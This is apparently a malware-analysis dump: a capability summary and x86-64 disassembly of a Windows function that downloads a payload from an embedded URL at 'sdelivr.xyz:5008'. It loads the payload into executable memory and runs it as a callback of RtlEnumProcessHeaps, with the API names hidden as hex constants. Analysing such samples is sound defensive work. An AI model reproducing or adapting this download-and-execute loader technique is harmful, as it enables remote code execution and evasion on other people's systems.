Function at 0x140004600
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0xfe0]
mov eax, 0x10e0
call fcn.14003d570
sub rsp, rax
mov rax, qword [0x1400d6088]
xor rax, rsp
mov qword [rbp + 0xfd0], rax
movdqa xmm0, xmmword [0x1400c0cf0]
lea rcx, [0x1400c0020]
movdqa xmm1, xmmword [str.sdelivr.xyz:5008RtlEnumProcessHehttp:__drop.cdnj0_UJtmYLNJ_2.bin]
xor esi, esi
movdqu xmmword [rbp - 0x68], xmm0
xor r9d, r9d
xor r8d, r8d
movdqa xmm0, xmmword [0x1400c0d00]
lea edx, [rsi + 1]
mov byte [rbp - 0x38], 0
movdqu xmmword [rbp - 0x58], xmm1
mov dword [rsp + 0x20], esi
movdqu xmmword [rbp - 0x48], xmm0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
test rax, rax
jne 0x140004681
lea eax, [rsi + 1]
jmp 0x1400048db
mov qword [rsp + 0x28], rsi
lea rdx, [rbp - 0x68]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x1100], rdi
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
test rax, rax
jne 0x1400046c2
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [rdi + 1]
jmp 0x1400048d3
xorps xmm0, xmm0
mov qword [rsp + 0x1110], r15
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rsi
nop dword [rax + rax]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rbp - 0x30]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x14000471a
mov eax, dword [rsp + 0x30]
lea r9, [rbp - 0x30]
mov rdx, qword [rsp + 0x40]
lea r8, [rbp - 0x30]
add r9, rax
lea rcx, [rsp + 0x38]
call fcn.1400105e0
cmp dword [rsp + 0x30], esi
ja 0x1400046e0
mov rcx, rdi
mov qword [rsp + 0x1108], r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [rsp + 0x40]
lea rcx, [rsp + 0x60]
mov rbx, qword [rsp + 0x38]
sub edi, ebx
mov dword [rsp + 0x70], 0x74726956
mov dword [rsp + 0x74], 0x416c6175
mov dword [rsp + 0x78], 0x636f6c6c
mov byte [rsp + 0x7c], sil
mov dword [rsp + 0x60], 0x6e72654b
mov dword [rsp + 0x64], 0x32336c65
mov dword [rsp + 0x68], 0x6c6c642e
mov byte [rsp + 0x6c], sil
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movsxd r15, edi
mov r9d, 0x40
mov rdx, r15
mov r8d, 0x1000
xor ecx, ecx
call rax
mov rsi, rax
test rax, rax
jne 0x1400047f1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
test rbx, rbx
je 0x1400048c1
mov rax, qword [rsp + 0x48]
sub rax, rbx
cmp rax, 0x1000
jb 0x1400048b9
test bl, 0x1f
je 0x14000489e
jmp 0x1400048f5
mov r8, r15
mov rdx, rbx
mov rcx, rsi
call fcn.14003e1a0
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x6c64746e
mov dword [rsp + 0x54], 0x6c642e6c
mov word [rsp + 0x58], 0x6c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x1400047c6
movdqa xmm0, xmmword [0x1400c0ce0]
lea rdx, [rbp - 0x80]
mov rcx, rax
mov dword [rbp - 0x70], 0x737061
movdqu xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
je 0x1400047c6
xor edx, edx
xor ecx, ecx
call rsi
xor eax, eax
mov rdi, rsi
mov rcx, r15
rep stosb byte [rdi], al
lea edx, [rax + 1]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_SleepEx]
xor eax, eax
mov rcx, r15
mov rdi, rsi
xor edx, edx
rep stosb byte [rdi], al
mov rcx, rsi
call r14
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, [rsp + 0x38]
call fcn.140004950
jmp 0x1400048c3
mov rax, qword [rbx - 8]
cmp rax, rbx
jae 0x1400048fb
sub rbx, rax
cmp rbx, 8
jb 0x140004901
cmp rbx, 0x27
ja 0x140004907
mov rbx, rax
mov rcx, rbx
call fcn.14003d150
xor eax, eax
mov r14, qword [rsp + 0x1108]
mov r15, qword [rsp + 0x1110]
mov rdi, qword [rsp + 0x1100]
mov rcx, qword [rbp + 0xfd0]
xor rcx, rsp
call fcn.14003c830
add rsp, 0x10e0
pop rsi
pop rbx
pop rbp
ret
call fcn.140073edc
int3
call fcn.140073edc
int3
call fcn.140073edc
int3
call fcn.140073edc
int3